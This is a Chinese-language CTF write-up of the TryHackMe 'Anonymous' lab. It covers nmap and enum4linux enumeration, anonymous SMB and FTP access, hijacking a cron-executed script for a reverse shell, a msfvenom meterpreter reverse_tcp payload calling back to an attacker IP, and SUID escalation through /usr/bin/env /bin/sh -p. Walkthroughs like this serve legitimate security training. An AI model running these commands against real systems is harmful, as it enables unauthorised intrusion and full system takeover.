收集:
nmap 扫描
nmap -sC -T4 10.10.40.114
使用 nmap 扫描靶机开放端口。
得到了如上端口,可以看到靶机是开放了 ftp 服务和 smb 共享的。所以我们先尝试一下枚举 smb。
枚举
使用 enum4linux 进行枚举
enum4linux -a 10.10.40.114
得到一个可能有用的目录
直接尝试匿名访问
利用:
匿名访问
smbclient //10.10.40.114/pics -N
-N:匿名访问,不使用密码验证身份
成功进入 smb 目录,但是里面的东西一点用都没有,只有两张图片。所以我们选择去尝试匿名访问 ftp 目录。
可以看到它存在一个 scripts 目录,存放着一个 sh 脚本文件,一个 log 文件和一个 txt,我们全部下载下来一个一个看。
通过查看日志文件我们可以发现,clean.sh 这个脚本文件是有一个定时任务的,他一直在执行清理 tmp 目录下的临时文件这个工作,所以我们想到可以去修改 sh 文件,使它执行的时候执行一些我们需要的命令。
反弹 shell
我们将脚本修改如上,但是在尝试上传到 ftp 服务器的过程中出现了失败,无法创建文件。
然后发现是我的格式写错了,换了一个写法就对了。然后我们开启另一个终端,启动 nc 监听等待反弹 shell。
rlwrap nc -lvnp 7777
rlwrap:用于使用鼠标滚轮上下滑动。
然后等待脚本执行。
OK,如图,我们已经成功的获取了 shell,但是 nc 获得的 shell 过于不稳定,我们还是选择使用msfvenom去创建一个可执行文件来获取 msf 对话。
稳定 shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.13.37.91 LPORT=7777 -f elf > shell.elf
生成 elf 文件后,我们使用 ftp 的 put 将文件上传到 scripts 目录下,然后使用 nc shell 将/var/ftp/scripts目录下的shell.elf文件 cp 到 namelessone 用户目录下,然后执行chmod +x shell.elf赋予可执行权限,然后./shell.elf执行文件。
同时我们另起一个终端,打开 msfconsole,启动监听程序。
然后在 nc shell 上执行程序,得到 msf 会话。
这里需要注意,我一开始没有设置 payload,使用了默认的反弹 shell 的 payload,导致 shell 弹不回来,需要手动设置 payload 为
linux/x86/meterpreter/reverse_tcp
然后我们使用 msf 对话来读取我们需要的信息。
得到 user.txt 内容。
提权
然后我们注意到有一个 sudo_as_admin_successful 文件,这是否意味着这个用户可以执行部分 sudo 命令,我们使用sudo -l命令查询,没有用,啥也没有,所以我们这时候就需要使用一个提权脚本,linPEAS,一个为 linux 提权扫描的脚本。我们只需要去 github 的 release 界面下载系统对应的版本。
然后通过 msf 上传到靶机,然后因为 msf 的会话并不是一个常规的 shell,所以我们输入shell启动一个系统 shell,然后执行python -c 'import pty;pty.spawn("/bin/bash")'来获得一个模拟终端,然后执行export TERM=xterm来指定终端类型为 xterm。
通过将
TERM设置为 “xterm”,你告诉在你的 shell 中运行的程序,它们可以使用与 xterm 终端相似的功能。这在与根据终端能力自定义行为的应用程序或程序交互时可能很有用。
然后执行 linPEAS,记得赋予可执行权限。然后我们去寻找 SUID 程序,发现了这个二进制文件。
SUID 提权
看他的颜色很明显是一个高危程序,我们去 GTFOBins 网站查询,得到了它的使用方法,
我们尝试执行
/usr/bin/env /bin/sh -p
获取 FLAG
如图,拿下 shell。我们尝试获取 root.txt。
成功。
![Featured image of post [THM]Anonymous](https://gcore.jsdelivr.net/gh/sakura-xh/upload-1@master/blogUploadIm/2023/12-03/%E4%B8%8B%E8%BD%BD/Y2nfloV0Hj.png)















